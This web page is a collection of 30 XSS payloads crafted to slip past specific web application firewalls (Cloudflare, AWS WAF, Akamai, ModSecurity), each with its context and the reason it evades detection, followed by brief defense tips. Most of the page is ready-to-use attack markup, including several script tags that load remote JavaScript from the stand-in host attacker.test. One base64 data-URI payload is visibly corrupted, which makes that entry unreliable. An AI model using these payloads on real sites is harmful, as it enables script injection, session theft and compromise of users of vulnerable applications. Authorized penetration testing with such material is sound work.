Skip to content

XSS WAF Bypass Payloads

30 payloadsFor authorized testing only

A WAF sits in front of the app and blocks requests whose payloads match known XSS signatures. Bypassing one means producing markup the WAF's parser/regex does not recognise, while the browser still executes it — through tag splitting, HTML-entity or charcode encoding, string concatenation, unusual separators, or rarely-signatured elements and events.

These vectors are organised by the control they target (Cloudflare, AWS WAF, Akamai, ModSecurity) and by generic parser-confusion tricks. A WAF is a mitigation, not a fix: a bypass here means the underlying output encoding is still missing.

Split script tag for WAF bypass

HTML bodyseverity: medium
<scr<script>ipt>alert('XSS')</scr</script>ipt>
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
Nested <script> tags reassemble into one valid tag after the WAF's naive stripping.

SVG animate element bypass

HTML bodyseverity: medium
<svg><animate onbegin=alert("XSS") attributeName=x dur=1s>
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
<animate onbegin> runs via SMIL, a vector many signatures miss.

HTML entity encoded alert

HTML bodyseverity: medium
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;XSS&#39;&#41;">
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
HTML entities encode alert() so the literal keyword never appears in the request.

Object tag data URI

HTML bodyseverity: medium
<object data="javascript:alert('XSS')">
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
<object data=javascript:> executes without a <script> tag.

Legacy isindex action

HTML bodyseverity: low
<isindex action="javascript:alert('XSS')" type=image>
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
The legacy <isindex> element carries a javascript: action most filters ignore.

Form javascript action

HTML bodyseverity: medium
<form action="javascript:alert('XSS')"><input type=submit>
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
A form's javascript: action fires on submit.

Meta refresh redirect

HTML bodyseverity: medium
<meta http-equiv="refresh" content="0;url=javascript:alert('XSS')">
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
<meta refresh> navigates to a javascript: URL with no script tag.

IE expression style (legacy)

HTML bodyseverity: low
<div style="x:expression(alert('XSS'))">
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
Legacy IE expression() runs JS from CSS (historical targets only).

Cloudflare: details/ontoggle with string concat

HTML bodyseverity: medium
<details/open/ontoggle=self['ale'+'rt']('XSS')>
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
Slash separators plus string concatenation hide the handler from Cloudflare signatures.

Cloudflare: img onerror with String.fromCharCode

HTML bodyseverity: medium
<img src=x onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))>
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
String.fromCharCode rebuilds alert('XSS') with no literal keyword.

Cloudflare: SVG use with foreignObject bypass

HTML bodyseverity: high
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><foreignObject><img src=x onerror=alert('XSS')></foreignObject></svg>#x">
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
<use> pulls a data: SVG whose foreignObject smuggles the handler past Cloudflare.

Cloudflare: input autofocus onfocus bypass

HTML bodyseverity: medium
<input/autofocus/onfocus=alert('XSS')>
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
Slash separators break the attribute pattern Cloudflare matches on.

ModSecurity: IE conditional comment

HTML bodyseverity: low
<!--[if IE]><script>alert("XSS")</script><![endif]-->
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
An IE conditional comment hides the script from ModSecurity's HTML parser.

ModSecurity: javascript: with HTML entity

HTML bodyseverity: medium
<a href=j&#x61;vascript:alert('XSS')>click</a>
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
A numeric entity inside javascript: evades the ModSecurity keyword rule.

ModSecurity: string concat keyword split

HTML bodyseverity: medium
<script>window['ale'+'rt']('XSS')</script>
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
window['ale'+'rt'] splits the keyword across string concatenation.

ModSecurity: multiline tag attribute

HTML bodyseverity: medium
<img
src=x
onerror=alert('XSS')>
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
Newlines inside the tag defeat single-line regex signatures.

Akamai: SVG set onbegin

HTML bodyseverity: medium
<svg><set onbegin=alert('XSS') attributeName=x>
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
<set onbegin> fires via SMIL, dodging Akamai signatures.

Akamai: video source onerror

HTML bodyseverity: medium
<video><source onerror=alert('XSS')>
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
<video><source onerror> is a less-signatured error vector.

Akamai: body onpageshow

HTML bodyseverity: medium
<body onpageshow=alert('XSS')>
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
onpageshow is a rarely-filtered page lifecycle event.

AWS WAF: string concat bypass

HTML bodyseverity: medium
<img src=x onerror="ale"+"rt('XSS')">
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
onerror="ale"+"rt(...)" splits the keyword to evade AWS WAF.

AWS WAF: backtick template literal

HTML bodyseverity: medium
<img src=x onerror=`alert('XSS')` >
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
A template literal runs the handler without parentheses in the signature.

AWS WAF: new Function() bypass

HTML bodyseverity: medium
<img src=x onerror=new Function('ale'+'rt(1)')()>
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
new Function() builds and runs code, avoiding the alert keyword.

META refresh with javascript: URL

HTML bodyseverity: medium
<meta http-equiv="refresh" content="0;url=javascript:alert('XSS')">
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
<meta refresh> redirects to a javascript: URL with no inline handler.

META refresh with base64 data-URI payload

HTML bodyseverity: medium
<meta http-equiv="refresh" content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnXSS'KTwvc2NyaXB0Pg==">
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
<meta refresh> loads a base64 data: HTML document that carries the script.

META refresh with parser-confused URL param

HTML bodyseverity: medium
<meta http-equiv="refresh" content="0; URL=http://;URL=javascript:alert('XSS')">
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
A parser-confused URL= value smuggles the javascript: redirect past the filter.

Script tag with attribute quote confusion

HTML bodyseverity: high
<script a=">" src="//attacker.test/xss.js"></script>
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
An attribute value of ">" confuses the WAF about where the tag ends.

Script tag with non-alpha separator (WAF bypass)

HTML bodyseverity: high
<SCRIPT/XSS SRC="//attacker.test/xss.js"></SCRIPT>
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
A non-alpha separator between SCRIPT and SRC breaks keyword matching.

Script tag without closing bracket

HTML bodyseverity: medium
<SCRIPT SRC=//attacker.test/xss.js?<B>
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
Omitting the closing bracket leaves a tag the WAF fails to recognise but the browser repairs.

Script tag with protocol-relative URL

HTML bodyseverity: medium
<SCRIPT SRC=//attacker.test/.j>
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
A protocol-relative //host/.j src loads remote JS without http(s) in the string.

Extraneous bracket script tag confusion

HTML bodyseverity: medium
<<SCRIPT>alert('XSS');//\<</SCRIPT>
Context
HTML body; the request passes through a WAF.
What it needs
A sink where HTML is reflected and a WAF is the main control.
Why it works
A doubled << confuses the filter while the browser still parses one <script>.

Defense

  • Treat the WAF as defence in depth, not the primary control — fix the output encoding at the sink.
  • Normalize and decode input before inspection so encoded bypasses can't slip through.
  • Deploy a strict CSP so a bypassed payload still can't run inline script.
  • Keep WAF rule sets updated and tune them against your own payload corpus.

Keep testing